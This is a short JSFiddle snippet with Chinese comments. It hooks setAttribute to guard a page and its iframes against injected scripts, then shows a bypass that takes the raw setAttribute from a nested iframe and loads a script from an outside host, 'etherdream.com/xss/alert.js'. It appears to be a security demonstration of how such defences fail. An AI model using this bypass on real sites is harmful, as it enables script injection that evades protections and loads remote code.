JSFiddle - React, Tailwind, and code Playground

by zjcqoo

JavaScript

// 我们防御系统
(function() {
    function installHook(window) {
        // 保存上级接口
        var raw_fn = window.Element.prototype.setAttribute;
        
        // 勾住当前接口
        window.Element.prototype.setAttribute = function(name, value) {
            // 试试
            alert(name);
            
            // 向上调用
            raw_fn.apply(this, arguments);
        };
    }
    // 先保护当前页面
    installHook(window);
    
    document.addEventListener('DOMNodeInserted', function(e) {
        var element = e.target;
        
        // 给框架里环境也装个钩子
        if (element.tagName == 'IFRAME') {
            // 保护框架页面
            installHook(element.contentWindow);
        }
    }, true);
})();


// 创建框架页
var frm = document.createElement('iframe');
document.body.appendChild(frm);

// 创建框架页的框架页
var doc = frm.contentDocument;
var frm2 = doc.createElement('iframe');
doc.body.appendChild(frm2);

// 反射接口
var raw_fn = frm2.contentWindow.Element.prototype.setAttribute;

// 创建脚本
var el = document.createElement('script');
raw_fn.call(el, 'SRC', 'http://www.etherdream.com/xss/alert.js');
document.body.appendChild(el);